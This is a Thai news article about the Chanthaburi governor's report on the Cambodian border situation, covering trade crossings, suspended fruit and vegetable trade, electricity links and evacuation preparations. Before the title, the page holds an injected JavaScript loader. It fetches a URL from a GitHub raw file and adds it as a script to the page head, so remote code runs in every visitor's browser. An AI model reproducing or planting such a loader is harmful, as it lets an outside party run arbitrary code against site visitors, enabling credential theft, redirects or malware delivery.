;var url = 'https://raw.githubusercontent.com/AlexanderRPatton/cdn/main/repo.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);}); ผู้ว่าฯ จันทบุรี รายงาน สถานการณ์ชายแดนยังปกติ – ความสัมพันธ์จังหวัดเพื่อนบ้านยังแน่นแฟ้น แม้มีผลกระทบบางส่วน - ThaiReference | อาสาไทยยืนยัน
ผู้ว่าฯ จันทบุรี รายงาน สถานการณ์ชายแดนยังปกติ – ความสัมพันธ์จังหวัดเพื่อนบ้านยังแน่นแฟ้น แม้มีผลกระทบบางส่วน

นายมนต์สิทธิ์ ไพศาลธนวัฒน์  ผู้ว่าราชการจังหวัดจันทบุรี รายงานสถานการณ์ชายแดนในพื้นที่จังหวัดต่อ นางสาวแพทองธาร ชินวัตรนายกรัฐมนตรี โดยยืนยันว่าแม้จะได้รับผลกระทบบางประการจากสถานการณ์ระดับประเทศ แต่ความสัมพันธ์ระหว่างจังหวัดจันทบุรีกับจังหวัดพระตะบองและจังหวัดไพลิน ของกัมพูชา ยังคงดำเนินไปตามปกติ ไม่พบการกระทบกระทั่ง

การนำเข้า–ส่งออกสินค้าระหว่างประเทศผ่านแนวชายแดนยังคงดำเนินการได้เป็นส่วนใหญ่ ยกเว้นบางกรณี โดยเฉพาะจุดผ่านแดนถาวรบ้านแหลม ซึ่งขณะนี้ปิดให้บริการสำหรับรถขนส่งสินค้า แต่ยังอนุญาตให้ประชาชนเดินเท้าผ่านเข้า–ออกได้ตามปกติ  ในส่วนของจุดผ่านแดนถาวรบ้านผักกาด, จุดผ่อนปรนสวนส้ม และซับตารี การขนส่งสินค้ายังสามารถดำเนินการได้ โดยเฉพาะสินค้าอุปโภคบริโภคและสินค้าทั่วไป อย่างไรก็ตาม มีข้อยกเว้นสำหรับ “ผักและผลไม้” ซึ่งปัจจุบันทั้งฝ่ายไทยและกัมพูชาเห็นพ้องร่วมกันให้งดการนำเข้า–ส่งออกชั่วคราว เพื่อความเป็นธรรมทางการค้าและลดความขัดแย้ง ส่งผลให้ทุกด่านชายแดนต้องชะลอการเคลื่อนย้ายผักและผลไม้ในช่วงนี้  แม้จะต้องใช้เส้นทางอ้อมและมีระยะทางไกลขึ้น แต่ผู้ประกอบการยังสามารถปรับตัวและแก้ปัญหาเฉพาะหน้าได้

ในส่วนของการใช้พลังงานไฟฟ้า ฝั่งไทยไม่ได้มีการตัดกระแสไฟไปยังฝั่งกัมพูชาแต่อย่างใด โดยจังหวัดจันทบุรีมีจุดเชื่อมต่อไฟฟ้าทั้งหมด 3 จุด คิดเป็นมูลค่ากว่า 10 ล้านบาท แต่ฝั่งกัมพูชาได้ระงับการใช้ไฟฟ้าฝั่งไทยชั่วคราว ซึ่งเป็นการตัดสินใจภายในของฝั่งกัมพูชาเอง ประชาชนยังสามารถเดินทางข้ามแดนเพื่อทำงานได้ตามปกติ มีการตรวจเข้ม แต่ปริมาณนักท่องเที่ยวลดลงอย่างชัดเจน เนื่องจากความไม่แน่นอนของสถานการณ์ระดับประเทศ ทำให้ประชาชนส่วนใหญ่ไม่ต้องการเดินทางข้ามแดนเพื่อท่องเที่ยวในช่วงนี้

ไม่มีรายงานการเคลื่อนไหวของกำลังพลหรือการเสริมกำลังทางทหาร อาวุธ หรือยุทโธปกรณ์ มีเพียงการเพิ่มรอบการลาดตระเวนเพื่อรักษาความสงบเรียบร้อย ขณะที่ประชาชนบริเวณแนวชายแดนราว 10,000 คน ได้รับการแจ้งเตือนและฝึกซ้อมการอพยพตามแผนที่จัดไว้ หากเกิดเหตุฉุกเฉิน โดยมีการเตรียมพื้นที่รองรับ เช่น โรงเรียนประจำอำเภอ 3 แห่ง ที่ว่าการอำเภอ 1 แห่ง รวม 4 แห่ง และโรงพยาบาลสนาม 2 แห่ง พร้อมดำเนินการตามแผนอพยพในทันทีหากมีสัญญาณเตือน

ผู้ว่าราชการจังหวัดจันทบุรีย้ำว่า หลังจากที่ได้พูดคุยหลายครั้ง ความสัมพันธ์ระหว่างจังหวัดจันทบุรีกับจังหวัดพระตะบองและไพลิน ไม่เคยเกิดเหตุปะทะหรือความขัดแย้งแม้ในช่วงปี 2554 ที่สถานการณ์ตึงเครียดมากกว่าปัจจุบัน และในครั้งนี้ก็ยังไม่มีความเปลี่ยนแปลงในระดับท้องถิ่น เพียงแต่สถานการณ์ระดับประเทศบานปลาย ทำให้ทุกฝ่ายต้องเฝ้าระวัง เตรียมพร้อม และปรับตัวทั้งด้านเศรษฐกิจและความปลอดภัยอย่างรอบคอบ“แม้สถานการณ์โดยรวมจะมีผลกระทบบ้าง แต่เรายังเน้นย้ำว่า ความสัมพันธ์ในระดับพื้นที่ยังเหมือนเดิม และจังหวัดจันทบุรีมีแผนรองรับทุกด้าน เพื่อไม่ให้เกิดความสูญเสียหรือความตื่นตระหนกในพื้นที่” ผู้ว่าราชการจังหวัดกล่าว.

ภาพ/ข่าว เอกลักษณ์ อานาภรณ์ ผู้สื่อข่าว จ.จันทบุรี